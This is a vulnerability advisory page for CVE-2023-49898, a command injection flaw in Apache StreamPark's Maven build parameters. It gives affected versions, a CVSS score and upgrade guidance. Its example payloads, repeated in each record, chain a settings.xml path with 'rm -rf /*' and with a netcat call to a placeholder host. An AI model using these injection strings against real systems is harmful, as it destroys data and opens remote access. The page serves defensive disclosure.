GSD-2023-49898

Vulnerability from gsd - Updated: 2023-12-13 01:20
Details
In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low. Mitigation: all users should upgrade to 2.1.2 Example: ##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use "||" or "&&": /usr/share/java/maven-3/conf/settings.xml || rm -rf /* /usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &
Aliases
Aliases

{
  "GSD": {
    "alias": "CVE-2023-49898",
    "id": "GSD-2023-49898"
  },
  "gsd": {
    "metadata": {
      "exploitCode": "unknown",
      "remediation": "unknown",
      "reportConfidence": "confirmed",
      "type": "vulnerability"
    },
    "osvSchema": {
      "aliases": [
        "CVE-2023-49898"
      ],
      "details": "In streampark, there is a project module that integrates Maven\u0027s compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.\n\nMitigation:\n\nall users\u00a0should upgrade to 2.1.2\n\nExample:\n\n##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use \u0026\u0026, compilation failure use \"||\" or \"\u0026\u0026\":\n\n/usr/share/java/maven-3/conf/settings.xml || rm -rf /*\n\n/usr/share/java/maven-3/conf/settings.xml \u0026\u0026 nohup nc x.x.x.x 8899 \u0026\n\n",
      "id": "GSD-2023-49898",
      "modified": "2023-12-13T01:20:34.927687Z",
      "schema_version": "1.4.0"
    }
  },
  "namespaces": {
    "cve.org": {
      "CVE_data_meta": {
        "ASSIGNER": "security@apache.org",
        "ID": "CVE-2023-49898",
        "STATE": "PUBLIC"
      },
      "affects": {
        "vendor": {
          "vendor_data": [
            {
              "product": {
                "product_data": [
                  {
                    "product_name": "Apache StreamPark (incubating)",
                    "version": {
                      "version_data": [
                        {
                          "version_affected": "\u003c",
                          "version_name": "2.0.0",
                          "version_value": "2.1.2"
                        }
                      ]
                    }
                  }
                ]
              },
              "vendor_name": "Apache Software Foundation"
            }
          ]
        }
      },
      "data_format": "MITRE",
      "data_type": "CVE",
      "data_version": "4.0",
      "description": {
        "description_data": [
          {
            "lang": "eng",
            "value": "In streampark, there is a project module that integrates Maven\u0027s compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.\n\nMitigation:\n\nall users\u00a0should upgrade to 2.1.2\n\nExample:\n\n##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use \u0026\u0026, compilation failure use \"||\" or \"\u0026\u0026\":\n\n/usr/share/java/maven-3/conf/settings.xml || rm -rf /*\n\n/usr/share/java/maven-3/conf/settings.xml \u0026\u0026 nohup nc x.x.x.x 8899 \u0026\n\n"
          }
        ]
      },
      "generator": {
        "engine": "Vulnogram 0.1.0-dev"
      },
      "problemtype": {
        "problemtype_data": [
          {
            "description": [
              {
                "cweId": "CWE-77",
                "lang": "eng",
                "value": "CWE-77 Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027)"
              }
            ]
          }
        ]
      },
      "references": {
        "reference_data": [
          {
            "name": "https://lists.apache.org/thread/qj99c03r4td35f8gbxq084b8qmv2fyr3",
            "refsource": "MISC",
            "url": "https://lists.apache.org/thread/qj99c03r4td35f8gbxq084b8qmv2fyr3"
          }
        ]
      },
      "source": {
        "discovery": "UNKNOWN"
      }
    },
    "nvd.nist.gov": {
      "cve": {
        "configurations": [
          {
            "nodes": [
              {
                "cpeMatch": [
                  {
                    "criteria": "cpe:2.3:a:apache:streampark:*:*:*:*:*:*:*:*",
                    "matchCriteriaId": "A5A4CCCF-F382-4FF8-AB13-9BE1B2B9757B",
                    "versionEndExcluding": "2.1.2",
                    "versionStartIncluding": "2.0.0",
                    "vulnerable": true
                  }
                ],
                "negate": false,
                "operator": "OR"
              }
            ]
          }
        ],
        "descriptions": [
          {
            "lang": "en",
            "value": "In streampark, there is a project module that integrates Maven\u0027s compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.\n\nMitigation:\n\nall users\u00a0should upgrade to 2.1.2\n\nExample:\n\n##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use \u0026\u0026, compilation failure use \"||\" or \"\u0026\u0026\":\n\n/usr/share/java/maven-3/conf/settings.xml || rm -rf /*\n\n/usr/share/java/maven-3/conf/settings.xml \u0026\u0026 nohup nc x.x.x.x 8899 \u0026\n\n"
          },
          {
            "lang": "es",
            "value": "En Streampark, hay un m\u00f3dulo de proyecto que integra las capacidades de compilaci\u00f3n de Maven. Sin embargo, no hay verificaci\u00f3n de los par\u00e1metros de compilaci\u00f3n de Maven. Permitir a los atacantes insertar comandos para la ejecuci\u00f3n remota de comandos. El requisito previo para un ataque exitoso es que el usuario debe iniciar sesi\u00f3n en el sistema Streampark y tener permisos a nivel del sistema. Generalmente, s\u00f3lo los usuarios de ese sistema tienen autorizaci\u00f3n para iniciar sesi\u00f3n y los usuarios no ingresar\u00edan manualmente un comando de operaci\u00f3n peligroso. Por tanto, el nivel de riesgo de esta vulnerabilidad es muy bajo. Mitigaci\u00f3n: todos los usuarios deben actualizar a 2.1.2 Ejemplo: ## Puede personalizar el m\u00e9todo de empalme seg\u00fan la situaci\u00f3n de compilaci\u00f3n del proyecto, los resultados de compilaci\u00f3n de mvn usan \u0026amp;\u0026amp;, los errores de compilaci\u00f3n usan \"||\" or \"\u0026amp;\u0026amp;\": /usr/share/java/maven-3/conf/settings.xml || rm -rf /* /usr/share/java/maven-3/conf/settings.xml \u0026amp;\u0026amp; nohup nc x.x.x.x 8899 \u0026amp; "
          }
        ],
        "id": "CVE-2023-49898",
        "lastModified": "2024-01-05T20:00:50.767",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 7.2,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "HIGH",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 1.2,
              "impactScore": 5.9,
              "source": "nvd@nist.gov",
              "type": "Primary"
            }
          ]
        },
        "published": "2023-12-15T13:15:07.330",
        "references": [
          {
            "source": "security@apache.org",
            "tags": [
              "Mailing List"
            ],
            "url": "https://lists.apache.org/thread/qj99c03r4td35f8gbxq084b8qmv2fyr3"
          }
        ],
        "sourceIdentifier": "security@apache.org",
        "vulnStatus": "Analyzed",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-77"
              }
            ],
            "source": "security@apache.org",
            "type": "Primary"
          }
        ]
      }
    }
  }
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…